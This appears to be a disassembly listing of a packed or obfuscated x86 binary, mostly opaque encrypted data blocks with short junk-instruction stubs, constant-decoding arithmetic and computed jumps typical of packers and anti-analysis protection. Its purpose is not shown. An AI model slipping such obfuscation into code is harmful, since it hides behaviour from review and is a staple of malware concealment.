		dd 1D0054E4h, 171449B4h, 0A1C90ED3h, 44434B62h,	374DF722h
		dd 4BC4CB2Ch, 1C756CB8h, 228AFD05h, 0EEF94DF7h,	2196EE5Bh
		dd 55D624ABh, 55518AA5h, 0CACC5F7Ah, 49h, 0BFA4AE1Ch, 5F8BF800h
		dd 0BAD147DFh, 0DF5FD5B2h, 89BA647h, 6880B5C0h,	47DF6023h
		dd 0E217F897h, 0E8A77219h, 8A87BC27h, 1E469B46h, 28A8DF02h
		dd 0FD22BCE2h, 11h, 192744Fh, 869D0000h, 0DF60097Eh, 0DC6F7A47h
		dd 0DDAE9BAEh, 752EEDD4h, 0F463F619h, 0F17562ECh, 499AA549h
		dd 7A228C69h, 40252E96h, 49157981h, 6570F3AAh, 5EEE25A6h
		dd 6FF24508h, 616AF7DCh, 68ADB574h, 28F99D72h, 797E0911h
		dd 0F2FDF19Eh, 4D0C175Fh, 0C815FA94h, 31B05F2Fh, 44075F34h
		dd 0D5219BEh, 75000005h, 0DA6F31Ch, 0AA43907Fh,	49E22FE0h
		dd 0E37CC946h, 281865AAh, 0E32C618Dh, 818EFD96h, 1AF59B34h
		dd 0B55A34CDh, 373F8E68h, 4DF75350h, 72805633h,	31BEF31Ch
		dd 0C24D4328h, 0EE909857h, 0D949F179h, 0A6E881CEh, 6499EA69h
		dd 9439EBAAh, 4BBCDh, 0A16E2300h, 3ED1BB54h, 0DD3258F1h
		dd 7798F790h, 13FC912Ah, 0FDFD6C6h, 0AB44917Eh,	49E22FE0h
		dd 0E27BC847h, 3C1663ACh, 54A2E5EDh, 4E14DF7h, 0F31C722Eh
		dd 0FE117B34h, 7E63F6C9h, 4F384057h, 2C47DF5Fh,	2D5A6221h
		dd 4E47DF60h, 0EF9FB043h, 880CEB20h, 0F008E59h,	0E2F5CDC2h
		dd 2D2222BCh, 74000000h, 1C0A5AEh, 0F17B81F9h, 5C919C49h
		dd 0F1834744h, 5190AC4Dh, 0AEDD5A3Ah, 27692224h, 662129E8h
		dd 154DF18Eh, 5175770Ah, 0C7000000h, 1C0A5AEh, 5FA5E2EAh
		dd 0CBD647DFh, 3FC1C938h, 7249F1AEh, 9CEFA867h,	0AD70171Fh
		dd 8134DF1h, 0E29B0A9Dh, 690FA7AAh, 57235DE7h, 437897F6h
		dd 0D0B80570h, 4DF229BEh, 0C2818E00h, 29E4A3ABh, 8C974DF2h
		dd 2963FCF9h, 0DDEAB1E6h, 54000003h, 1C0A5AEh, 36C94648h
		dd 603BBFC7h, 5F6A49F1h, 0E22D612Ah, 83040C23h,	4DF15Fh
		dd 0E77D62F5h, 60F0ED3h, 49EFAD61h, 8FD82Fh, 9C07DA0Fh
		dd 906A7231h, 885003DEh, 2792BFCFh, 79B7CFDCh, 0B7FF92FDh
		dd 0C8C65FACh, 6AEB1247h, 42BD0039h, 4D74B4C6h,	64AA5082h
		dd 889166F9h, 58D2DA99h, 6749F1CDh, 2C5E275Ch, 0A9E5AEE3h
		dd 879B3166h, 0E018F5Ah, 6A7763A3h, 0B3000F7Fh,	0A9684D56h
		dd 3F6ADA1h, 0B3D7D850h, 0E954275Ch, 0EB65A92Ah, 359E7F91h
		dd 1596BDA2h, 0CF6DD489h, 4152E56Fh, 0E58DC24Dh, 3039E8F9h
		dd 0B26B8241h, 2F0237D8h, 97123C9Ch, 6A7549F1h,	50A841Dh
		dd 9BF0A9D0h, 0BDD0E174h, 9FEB2E5Ch, 0FD683B70h, 558AF5C8h
		dd 0AB36ABBFh, 82DF2CE3h, 0B6CD8C79h, 86113835h, 8FE20B04h
		dd 3292257Bh, 50039DF8h, 0A058687h, 629702D5h, 0E51AF599h
		dd 9190513Dh, 0C3DA9988h, 65E3A4ACh, 717947DFh,	47DF6616h
		dd 0B7C25A65h, 8266C424h, 566149F1h, 31591209h,	543A4BDEh
		dd 4B43FCBBh, 834C31C4h, 5AB7040Bh, 9DA56451h, 5003AEF1h
		dd 3C548994h, 47DF6C4Fh, 325988A4h, 22BCEF52h, 4F87h, 79819800h
		dd 47DF750Eh, 8F01626Dh, 0AEBFED80h, 4801C0A5h,	54BBD148h
		dd 0D0E756E9h, 679C7317h, 25A10194h, 5049F17Fh,	93F81045h
		dd 604DF180h, 0E74A021h, 1CADA282h, 0A235A06Fh,	8C048B56h
		dd 5924AEAAh, 0C8h, 35DAB16Ah, 6C9A2D00h, 0BEF31C72h, 8FB998F5h
		dd 0AA5F6729h, 0B08EF901h, 0E2ED47DFh, 0ED70C77h, 1CF39980h
		dd 74A914E7h, 22F7944Dh, 0A93CA768h
		dd 0CC19F698h, 0DFAD2CE4h, 0CF404E47h, 0E3365710h, 5A2D62ADh
		dd 5F2830EFh, 1C47DFB4h, 0E8817E11h, 0A73469A6h, 0F0F8B79Eh
		dd 49F1AD66h, 0CE874651h, 0C1BE51BEh, 0B7765B64h, 6BC58CFEh
		dd 2C2E8BA8h, 19881B86h, 4D50A11h, 2FEEF950h, 0ABF81776h
		dd 15947B12h, 0EDBE3AF4h, 0BD12D97Eh, 25000001h, 0BD56A36Ch
		dd 5AF340CFh, 0F992DF30h, 932C7996h, 0D8C815FAh, 937C11DDh
		dd 31DEAD46h, 0CA454BE4h, 65AAE47Dh, 0E7EF3E18h, 4DF757A0h
		dd 723006E3h, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h
		dd 0F82D3849h, 0F180ABE0h, 0B52C484Dh, 0AEDFE6DEh, 0C23324h
		dd 72850000h, 0F0979F1Ch, 9347DF5Fh, 1FE81D88h,	546CA16Eh
		dd 47DF5CBCh, 125FB0DEh, 9EA61579h, 47DF63E9h, 0E6861009h
		dd 51E984CBh, 19A6DB46h, 5A622110h, 49F183FCh, 0B7D38CEBh
		dd 0A0502358h, 4DF188E7h, 63288994h, 97F441ACh,	30DFB18Eh
		dd 36EF06C5h, 0C828BB54h, 50042AF6h, 1D6A72D1h,	9547E5E3h
		dd 12E51AF5h, 45046F7Ah, 0C10E018Ch, 2BAA6528h,	0EDBEC6ECh
		dd 0E9FAC166h, 51000000h, 0E982CF40h, 861F6CA3h, 25BE0B04h
		dd 0BF58A56Ah, 4F441CEh, 0BF503DB1h, 5DB2D972h,	0F6197710h
		dd 917E10A9h, 131B6A44h, 4DF75874h, 72542A07h, 7C35F41Bh
		dd 0F8CB000Fh, 0BFCF6865h, 0A6DB345Ah, 651B68D3h, 0BEF31C72h
		dd 297699F5h, 1FDEC3CCh, 7DFC799Eh, 9326A88Eh, 9BE51C24h
		dd 2AAB49F7h, 160A72ECh, 0C30B9E2Dh, 0D4BA83B8h, 0B51E417Dh
		dd 0B5C5AC31h, 6A414185h, 509D0873h, 338D7B7h, 0D3450DEBh
		dd 5B869A30h, 0B5BDFE90h, 6B2926D2h, 0EE3BA6B1h, 0C34C3EF7h
		dd 0E26F1F30h, 0C9A2E254h, 4B80EBD8h, 0CD020D82h, 50858A04h
		dd 8F2A67BFh, 61C292F2h, 15ABE02Fh, 0BBFBE001h,	0D5F12BACh
		dd 973B1D05h, 0BE29B804h, 59F23FD0h, 63811C35h,	5CBB5875h
		dd 0DF5BCF1h, 5F000000h, 92F5FD14h, 0F147DF5Fh,	4F253E6h
		dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch
		dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh
		db 0D4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	4FECh
		mov	[esp], ebp
		push	617F046h
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		mov	edx, 2AF70B8Bh
		neg	edx
		neg	edx
		not	edx
		neg	edx
		xor	edx, 2AF70B84h
		add	edx, ebp
		mov	[edx], ecx
		pop	edx
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		sar	byte ptr [eax+617FA2Fh], cl
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 66BBC852h, 3313A34Ch, 55217EE3h, 672F6C6Eh, 2574A261h
		dd 3D9A8935h, 7C8F65DDh, 426BEA5Ah, 2CBF3D3Ah, 2778892Eh
		dd 44FD4142h, 12DE8837h, 6B199FE1h, 2A592AEh, 194CED6Eh
		dd 4A2B8546h, 4B940E45h, 64F8BA52h, 426139D6h, 5CBCC13Ah
		dd 0CBA9532h, 5C491E91h, 6CBD307Ch, 2DD7B895h, 0CE7F72Fh
		dd 485F197Fh, 0FBD28D8Dh, 8E90617h, 36000000h, 6AC8539Eh
		dd 89CC0E81h, 122DCD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0C7D88BBBh, 1231BD85h
		dd 67E806h, 0DE816600h,	6E90948h, 0B2000000h, 9FE5374h
		dd 1185C7ABh, 61200h, 0F000000h, 0B5FFC1BFh, 6120C89h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FCC35646h
		dd 0A86DC4F5h, 0F4F229C8h, 0FFF08B66h, 12278195h, 8BDA8B06h
		dd 0FF006AC2h, 1229D195h, 0EBC08B06h, 495AB4Ah,	0F090BFB8h
		dd 23268951h, 77D515FDh, 0A6252633h, 4C5968A5h,	0B99F32B0h
		dd 0E590BA66h, 0B4A2F3Ah, 0AB4138D8h, 4BF6804Bh, 5AAE556Dh
		dd 9C5AC7ADh, 9029E668h, 34FA1ABAh, 0CFF1CE0h, 9B83B1F7h
		dd 5F8AAA5Bh, 0E9925368h, 1Eh, 3C32256Bh, 6 dup(0)
		dd 4EE90000h, 29000005h, 0C15AA768h, 5EF744CBh,	0FD96E32Ch
		dd 97307D92h, 0DCCC19F6h, 977815D9h, 35DAB14Ah,	0CE414FE8h
		dd 69A6E881h, 0EBF3421Ch, 4DF75B9Ch, 722C02DFh,	0F5BEF31Ch
		dd 50A8198h, 0F39CFDD0h, 0A914E71Ch, 0E3AC655Ch, 5FB7D0D8h
		dd 0B9C447DFh, 7D67254Eh, 931D218Fh, 709FEF00h,	0F31C723Bh
		dd 7897F5BEh, 4899AD43h, 5F1EF19Dh, 0C8EC2EDEh,	9B2E8186h
		dd 848B059Eh, 0E1A6AEC5h, 0A247DF87h, 10070497h, 0A4D93657h
		dd 632D3ED1h, 0DDAE77ACh, 87B1D6DEh, 0D1D247DFh, 85E651BEh
		dd 0FED10609h, 9B53D493h, 0B7855BBEh, 0FB79C2Fh, 0CC5BE23h
		dd 885B907Fh, 72A76827h, 95FB0C9Fh, 0FA942D7Ah,	0C6C8E015h
		dd 0D647DFBDh, 0B010776Ah, 6522BCA0h, 65h, 0F31C72B7h
		dd 72151D34h, 1147DF5Fh, 678E7306h, 603F4850h, 313C47DFh
		dd 5F4F3E9Eh, 0DD4947DFh, 0FE358D04h, 5E7522BCh, 7424EBA5h
		dd 47DF6C13h, 6B464149h, 2A3547DFh, 0F2F48792h,	1, 0FF1A7244h
		dd 5716818Eh, 11AFE5D6h, 0D76AB34Ah, 0AC6329F2h, 2EE1AE77h
		dd 924F63F9h, 8DDA3557h, 28759AF4h, 0F41B7272h,	7996F6BFh
		dd 0E16544h, 1A67A8E5h,	43020D81h, 7A0D028Ah, 51BECC95h
		dd 0D23D531Ch, 54BBD49Dh, 568B771Fh, 0A43D5981h, 0BCFCE5EDh
		dd 0C13222h, 72840000h,	8267361Bh, 0C5699B8Fh, 0DF6FCABDh
		dd 43AEB947h, 0B0DAA3D8h, 0B7EC2369h, 0AE4479E4h, 0F19C479Ah
		dd 5538D11Eh, 0D3BC85BAh, 6FA7E0E8h, 0C9D447DFh, 0A5E69F5Eh
		dd 0CF62356Ah, 0A66921EAh, 2AE5A871h, 3558C1C9h, 67D2A5DAh
		dd 59889C32h, 0A1405C84h, 0B15E2FE8h, 0E2EAA97Ch, 47DF6FA5h
		dd 0CB38CBD6h, 22BCECBBh, 9210h, 25682100h, 81E2B5EAh
		dd 0FED10609h, 5B143D6Bh, 0D2A5DA35h, 5F7C0B13h, 0F4FF47DFh
		dd 0D23D5061h, 53BCD49Dh, 0D738551Eh, 8B3D9A2h,	0DF5F8700h
		dd 7EE9F447h, 11D08449h, 17D037CCh, 93669B74h, 642DB400h
		dd 6042454Dh, 364147DFh, 1EFB92A3h, 976A9F70h, 1429DF2Ch
		dd 60AE9693h, 7C0F1AA5h, 0B9EE216Bh, 0E020EDA1h, 0FDBECF47h
		dd 0E02092F5h, 7BE6F147h, 0FF107D46h, 905105CAh, 6AD53A55h
		dd 1F667BE7h, 22BC3FA7h, 674h, 0C0CC8500h, 148EBC4Fh, 0D8461E93h
		dd 7A0D5FA7h, 0B9EE2169h, 244C1192h, 0AA0F0AAAh, 4683B081h
		dd 0EE81E533h, 20AB1DDh, 47DFEA85h, 4B80EBF6h, 0BF2AB7A3h
		dd 9AF744CBh, 0DDE5A491h, 49F20E21h, 233AF904h,	0F2056C1Bh
		dd 71040F4Dh, 44CBC38Ch, 30E900F7h, 8601B15Eh, 0CE4DF205h
		dd 0F205C1C6h, 1FB7C24Dh, 1E708114h, 0E9A4BCF1h, 0A14DF205h
		dd 2569845Dh, 8A049DEAh, 830DC685h, 2384578Ch, 9F72A768h
		dd 305E270Ch, 0AFE1AADFh, 2E622B60h, 216ACE1h, 0E99EA6DFh
		dd 9A4DF205h, 29AD248Fh, 0AE612DB8h, 58146C61h,	24C124AEh
		dd 13000001h, 1C0A5AEh,	0BA5F31EAh, 34073CD3h, 60C194C9h
		dd 0D8ABE02Fh, 773DE545h, 70849F1h, 5A2D3586h, 294DF178h
		dd 1348B31Eh, 6F77444Ah, 4DF17918h, 0EB246A6Bh,	2FC81580h
		dd 0B27BB05Fh, 0BE513DDCh, 0BB3F1E53h, 3CD3BB26h, 0E436FC7Dh
		dd 0E965222Ah, 0B164DF1h, 7A2C3AE2h, 9DF5EAE7h,	4A24AE2Ch
		dd 45h,	0BFA4AE9Ch, 5F6FF800h, 8B8CC7DFh, 0E09F0A05h, 5EC6C1C9h
		dd 0AAB5C7DFh, 6D1A3217h, 49C7DF5Eh, 371EF172h,	879A2DD8h
		dd 9FC7C0C8h, 0A9B4C7DEh, 817CA16h, 4A5211FEh, 47DEA01Dh
		dd 2FC6131Eh, 7Bh, 0C0A5AE99h, 8155F901h, 728949F1h, 0F1891D6Ah
		dd 0C0535E4Dh, 2DAE6D78h, 17AA8B4Ch, 250A9D10h,	90DD325Ch
		dd 437897F7h, 0F214612Bh, 0CE13574Dh, 47947B13h, 9F36E1EAh
		dd 0D05557E3h, 2D35F45Fh, 5009CA7Ch, 96830A0Bh,	3FAA15FAh
		dd 0C24D410Ah, 1DD6E58Dh, 9A6DA26Dh, 5D26BB07h,	0FA23ECA4h
		dd 951D4AD9h, 0B78C1F3Fh, 8C7AEh, 49FD39A9h, 877ECBD6h
		dd 1D52BDCEh, 0AE89B74Ah, 4CC3CAA5h, 0D03F4E17h, 0E99EA665h
		dd 9A47DF5Fh, 5D65248Fh, 49F7544Ch, 0FD127A7Bh,	0FA945D92h
		dd 0F39D5615h, 8114E71Ch, 0BD768D84h, 0F88F3FD0h, 8B4DF75Bh
		dd 0B2DCED80h, 3010285Dh, 0ED240178h, 828DFDB6h, 9BE77A4Dh
		dd 1CF39B46h, 0B75836CFh, 39D6B982h, 71705C04h,	0AAF71876h
		dd 0F3949CB3h, 90841D37h, 0ADE1F285h, 4D062D62h, 0CF98CD42h
		dd 54E752BDh, 345h, 3422AF00h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h
		dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h
		dd 0DB10FF8Dh, 585450D4h, 405h,	4E88300h, 5C240487h, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 68243489h, 28C4h,	68242C89h
		dd 617FC49h, 8124348Bh,	4C4h, 2C8B5400h, 4C48324h, 89F78957h
		dd 3C8B087Dh, 4C48124h,	8B000000h, 8950242Ch, 405E0h, 0C0830000h
		dd 24048704h, 2434FF5Ch, 4C4835Eh, 0FA7F74E9h, 0AF0A43FFh
		dd 0F0194F0Bh, 0FE326960h, 11FB8DAh, 0C5030618h, 0AA8EE0FFh
		dd 694A0795h, 73A400ACh, 0E04503FDh, 0F0185917h, 59D834EEh
		dd 0BE7F101Eh, 8DDB502Ch, 0C52F3892h, 0C3A55A47h, 1F17392Fh
		dd 382661B3h, 7A913E88h, 0C488432Dh, 0A0717314h, 0A9455E19h
		dd 10E87B31h, 4E000000h, 0C31DA68Dh, 53F8B7BCh,	9691ECE2h
		dd 819B4957h, 94EA1ADAh, 0EA815F3Eh, 7F6128AAh,	5B28C781h
		dd 13E90000h, 0F5000000h, 4B37DCBEh, 2D64AB9Ch,	8DA54DEFh
		dd 20A8750Bh, 0C02B8216h, 870Fh, 34FF0000h, 0F6805138h
		dd 665B594Bh, 0C381D78Bh, 7075891Ch, 0F381F78Bh, 74E2BEB3h
		dd 0F880Fh, 8E80000h, 64000000h, 772D9CF5h, 0FC6070FBh
		dd 0BF38159h, 0E93B3C79h, 14h, 6A80AFF9h, 48D15F09h, 78ADC599h
		dd 32C32B57h, 0D42942A0h, 53071C89h, 12E9h, 0F1A3AC00h
		dd 7E5B7F58h, 5D6F5473h, 2AC9250Bh, 5EC9C491h, 68A0Fh
		dd 0C1810000h, 29041A07h, 0F04E883h, 0D83h, 8E900h, 0BC7F0000h
		dd 0A67417D3h, 0F8816756h, 0FFFFA5E4h, 19850Fh,	6E80000h
		dd 28000000h, 0A580B0EAh, 0F0BF0F82h, 21E95Eh, 8FC90000h
		dd 0E9D7E70Ch, 0Ch, 5292D895h, 123D9BCDh, 4D909296h, 0FFFF39E9h
		dd 391AD3FFh, 0E9B1C71Ah, 0DFh,	1A50C622h, 0CA459CD7h
		dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h
		dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h,	92A5BCF2h
		dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h,	0A3F292A5h
		dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h,	8A924AF0h
		dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h
		dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h,	207D20B2h
		dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh,	8F9D728Fh
		dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h
		dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 9 dup(0)
		dd 0E9000000h, 153Eh, 18060068h, 7D17E906h, 68FFFAh, 0E9061807h
		dd 0FFFA7D0Dh, 1807D368h, 7D03E906h, 1A68FFFAh,	0E9061809h
		dd 0FFFA7CF9h, 18099B68h, 7CEFE906h, 5168FFFAh,	0E906180Ah
		dd 0FFFA7CE5h, 180B1968h, 7CDBE906h, 0C468FFFAh, 0E906180Bh
		dd 0FFFA7CD1h, 180C6C68h, 7CC7E906h, 0E968FFFAh, 0E906180Dh
		dd 0FFFA7CBDh, 180EE868h, 7CB3E906h, 5168FFFAh,	0E9061810h
		dd 0FFFA7CA9h, 18115E68h, 7C9FE906h, 0BB68FFFAh, 0E9061812h
		dd 0FFFA7C95h, 1813D868h, 7C8BE906h, 0BB68FFFAh, 0E9061815h
		dd 0FFFA7C81h, 1816C768h, 7C77E906h, 0A7EAFFFAh, 0A821B68h
		dd 6B1FB805h, 0D1BE57A4h, 3558F13Eh, 189D8DDAh,	0B58B7D6h
		dd 0A9F61972h, 428F8010h, 0DD2AE5A9h, 0DBACB403h, 0A84DF763h
		dd 8FFBB4CBh, 8CC56AC2h, 0A40F47A5h, 1C72E311h,	99F5BEF3h
		dd 1E36B776h, 0F392D881h, 0F9C1C6CEh, 0B7C247DFh, 5FBCB94Ch
		dd 0A8B06F56h, 49F226E6h, 83CEC17Ah, 0ADEAEA0Ch, 99C077Eh
		dd 6981B6C1h, 4DF18522h, 632CB5D1h, 0A6B850E2h,	0F152CC62h
		dd 6B3E739Ch, 916B6BD8h, 75C024AEh, 12000000h, 0C6CAA5AEh
		dd 0D0831449h, 1F832620h, 5C9DC631h, 602F9A84h,	0DA5B1A85h
		dd 764847AEh, 3CAB3E11h, 0EF206C25h, 175F2830h,	111C47E0h
		dd 36A81E7Eh, 0C4CF49F2h, 0F914778Fh, 0C3DF4DF1h, 676F671Eh
		dd 0CE4F24AEh, 236CCA52h, 0BC72C3ECh, 0C7B8342h, 6F4DF1C3h
		dd 0CDCFD164h, 0E0000000h, 0EB0F0B5Fh, 0D1047AF2h, 8CBAE3C7h
		dd 61692869h, 4DF17026h, 89B74A55h, 0BEF31C72h,	427798F5h
		dd 0E12E621Bh, 0BE513D4Eh, 7CE16289h, 1627AF6h,	0E0AEBF52h
		dd 88BD5239h, 15FD4AB5h, 47E00250h, 0E22FE0AEh,	95CA4549h
		dd 5312FF08h, 0F20D8F4Bh, 16636E49h, 0C0CBB0B9h, 0DC471A4Fh
		dd 3D4D061Dh, 0A7DF3FD2h, 0CE5004A9h, 6CC68A05h, 46B1C303h
		dd 5ABFCE87h, 0D1A4D936h, 0A2EEA766h, 44DDDA6Dh, 6A47C649h
		dd 68EDBE30h, 1288FCC3h, 1F720000h, 820AA3F0h, 0E3A7408Dh
		dd 4946DF2Ch, 0ADE079C6h, 90251562h, 93E02F5Eh,	317E91FAh
		dd 0CA17F898h, 65B25D31h, 53343C8Bh, 304DF765h,	1B727D53h
		dd 487D92FEh, 24BD0A75h, 0A258A56Ah, 1C0A5AEh, 97CC4348h
		dd 0E550BFCEh, 0EBDBE352h, 1A49F17Eh, 9CB3DA0Fh, 0F180F394h
		dd 0F285904Dh, 0F180F992h, 3DEFA4Dh, 0AEDF348Ch, 0D3E124h
		dd 14330000h, 5F92F5FDh, 0E6F147DFh, 0C34C4253h, 47C8C58Eh
		dd 5A6BFA12h, 0BFCF47DFh, 0B8D89150h, 0BC4F2257h, 0A76826BFh
		dd 0F5DCE572h, 70171F36h, 1347DF63h, 2A957A12h,	3A0DBC01h
		dd 8619209Bh, 27CB0F17h, 2F3A49F2h, 957C85E2h, 8506BFD6h
		dd 0EF82558Ah, 4CE048Fh, 25E4EF50h, 0D936550Eh,	2D3ED1A4h
		dd 37F0AF60h, 3357B857h, 0B34C49DCh, 6A60E1DAh,	18558CDCh
		dd 1ED8AF5Fh, 0ADE247E6h, 0C25A2D62h, 0C6CD4CB7h, 0ECEDBEE6h
		dd 11888047h, 1F720000h, 820AA3F0h, 0E3A7408Dh,	4946DF2Ch
		dd 0ADE079C6h, 90251562h, 93E02F5Eh, 317E91FAh,	0CA17F898h
		dd 65B25D31h, 53343C8Bh, 304DF766h, 1B727D53h, 800EA7F4h
		dd 0E61BF499h, 30E9A813h, 201DB05Fh, 355B146Ah,	583647DAh
		dd 0D5B982B7h, 3DF6ED3Ah, 0B487BC53h, 957A1021h, 18F79760h
		dd 4D3A4259h, 2E47DF5Fh, 0F1B7FA23h, 60D4543Fh,	0E460D0CDh
		dd 62211019h, 0F1F0F45Ah, 0B7081349h, 5BFCB7D7h, 4938415Eh
		dd 0B88C828Ah, 53D43B89h, 0B8C013A0h, 3F6A19CFh, 0C378A1ACh
		dd 165EF15Bh, 0F6AFD60Bh, 13E87B94h, 545C1B0Ah,	417CDCC1h
		dd 23DC9BA6h, 486FA46Bh, 7EDF4740h, 0BE293439h,	8B03BC2Bh
		dd 0F09E3784h, 0D929A01Fh, 84291C27h, 10B5BDh, 1DF29F00h
		dd 0BA5537D0h, 59B6D46Dh, 0F31C730Ch, 8F800DA6h, 8B635242h
		dd 27C00D02h, 0C55EAB64h, 5EF744CBh, 0B892DF30h, 67266169h
		dd 78554DF7h, 0FD1C72A2h, 784B808Fh, 0FB954E0Dh, 0FF27EB14h
		dd 18F89CCFh, 0A13A085h, 0DA545C1Bh, 0C649F212h, 2C583445h
		dd 0F25D6324h, 0EC15204Dh, 0FF8C5532h, 0CA12A510h, 1348C7C9h
		dd 99CE414Ah, 0A3F05BC6h, 28623D46h, 74DFB2E7h,	6851ADB5h
		dd 69745004h, 536F1C34h, 458447E0h, 7A0D028Ch, 21DAB32Eh
		dd 0A20FA26Dh, 22BC0A22h, 24F7h, 0A5AE4900h, 7F901C0h
		dd 3A49F1AEh, 0D9B7702Fh, 8C01E936h, 324DF1ADh,	0CD66B35Ch
		dd 50174CC3h, 0FF6h, 305B14BAh,	6E774CDFh, 66C0C887h, 1149F759h
		dd 60957A10h, 0AA63228Dh, 0EB6C2BE4h, 883741BFh, 9C992C4Bh
		dd 0C5848B03h, 0D9281D44h, 0AF2CA9CAh, 58DC0534h, 0E4C95CB6h
		dd 0A8674E57h, 0FB5F1A0h, 14D3DE50h, 79DA355Bh,	0FB6AFD12h
		dd 0B3D063E4h, 15099F26h, 0F21D7182h, 39820CA5h, 0E00F5631h
		dd 0AF1A2547h, 7E4ED7Ah, 80538887h, 244E5615h, 0EC49F230h
		dd 81B65933h, 0C8D31BAEh, 0AAF64E49h, 18DF84EBh, 0F6Eh
		dd 89D63958h, 26739CF0h, 0C512FD8Dh, 5FAC632Ch,	0FB48C7C6h
		dd 4944AA0Bh, 0ABE079C6h, 127E1764h, 7717B0FDh,	22714B98h
		dd 0F7686D1Ah, 5B310E4Dh, 1F325B14h, 0F8E17915h, 1C51BCF9h
		dd 3556B649h, 0C147E000h, 53BCD3B8h, 21E04B1Eh,	0F7F87019h
		dd 45040F49h, 0C00D028Ch, 0E6EA6727h, 0DBDA10C7h, 0AD3A6FDAh
		dd 0A78DFFA4h, 33F78169h, 2D0109C8h, 58500A11h,	0DAEBCE4Dh
		dd 0A247EDB2h, 0EEDDBh,	55BAD700h, 0F21D6F08h, 917E0CA5h
		dd 2BE4AB44h, 0C74845DEh, 0C32B8A7Ah, 5FF845CAh, 0FD96E32Ch
		dd 962F7C93h, 0F0CA17F8h, 68EE99A1h, 0B08D4DF7h, 0FD1C72DAh
		dd 5615808Fh, 0EB20EF9Dh, 0D7A08518h, 80159AB7h, 360E7EE1h
		dd 3A530CCBh, 2C61AEDFh, 0FF8DEE59h, 7508DB10h,	9516A590h
		dd 0AB2DC4C9h, 0DAADB5F8h, 0A947DFFEh, 54A0339Eh, 7D8E068Dh
		dd 275B22BCh, 0AD000009h, 1C0A5AEh, 0F758BFF9h,	18D7E249h
		dd 0A5EA2F5Fh, 8740FF6Ah, 9D20708h, 81548986h, 0ED868316h
		dd 21396EA1h, 4DF7626Ah, 0DF9E838Ch, 97657D7h, 0E4636E50h
		dd 0EDB24787h, 37DFA64Bh, 2100000Eh, 0B9529F70h, 56EF3CD3h
		dd 0F58EDB34h, 8F28759Ah, 0D4C411FEh, 8F800DE1h, 2DE2A942h
		dd 0C64947E0h, 61AEE079h, 0E3EB3A14h, 4DF769A4h, 1424FAD7h
		dd 0A9DE315Bh, 5C3243D6h, 0D5DDF4B3h, 47DF5FB2h, 4E33C6D1h
		dd 7B100985h, 218C5F94h, 2CE3A962h, 0AC9124F7h,	6EB132C1h
		dd 3C12885Ch, 1EC30FA2h, 0BC006F67h, 87CBC22h, 230E0000h
		dd 47DF5F68h, 0E1A0858Eh, 0DDB36628h, 0BF2AFD32h, 0B524B78Ah
		dd 0F7594BADh, 30384F49h, 4DF76257h, 3E861924h,	0D3BB7433h
		dd 3856EF3Ch, 0EE9718D7h, 0D2AA08A9h, 592770Ah,	4E5615FCh
		dd 5009ECE0h, 69A6E6E7h, 9AA26134h, 47E9C3EDh, 9918838Eh
		dd 0EDB23D58h, 6FAE751Ah, 5900000Dh, 0F18AD738h, 8E27749Bh
		dd 2DC613FCh, 0C760AD62h, 0CFC49C6h, 0C74845A9h, 65AAE17Ah
		dd 0FE117F18h, 997618B1h, 1B23724Ch, 4DF76A6Ch,	725C320Fh
		dd 0F5BEF31Ch, 56417699h, 3090F7EAh, 0E522BCE2h, 7DAh
		dd 345B1437h, 777FA6DBh, 47DF6010h, 6AFD6873h, 0E6A58C95h
		dd 957A16CFh, 5FB9CED6h, 0BFCA47DFh, 5917CC2Ch,	111C49F7h
		dd 1AF59952h, 4B3C445Bh, 384DF762h, 49D9A2Dh, 3850858Ah
		dd 4DF76253h, 0ECAB9AA3h, 9764AE4h, 0F7FF1650h,	47E97D90h
		dd 76AB642Ah, 6D000BA3h, 449B1A25h, 0EEEDB247h,	0CC48249h
		dd 0E3AE0000h, 4646DF2Ch, 0A7E37CC9h, 0D821B68h, 711CB502h
		dd 5461519Eh, 0CF1CF39Ah, 6DBA5536h, 653BCD4h, 0A1EE216Dh
		dd 177078C7h, 644DF76Bh, 1C72B187h, 151D34F3h, 47DF5F72h
		dd 0DDAAB211h, 9E47DF5Fh, 61692893h, 47DF6026h,	0D2B74A55h
		dd 558A8509h, 0ACE3FE6Ah, 22BCE2D4h, 5EB1DB94h,	97F55629h
		dd 0BE3E578h, 35000007h, 0DF5F6723h, 91808947h,	5900CAD2h
		dd 0F4FF49F7h, 0FD127C35h, 987717B0h, 0E8CDD663h, 78B52129h
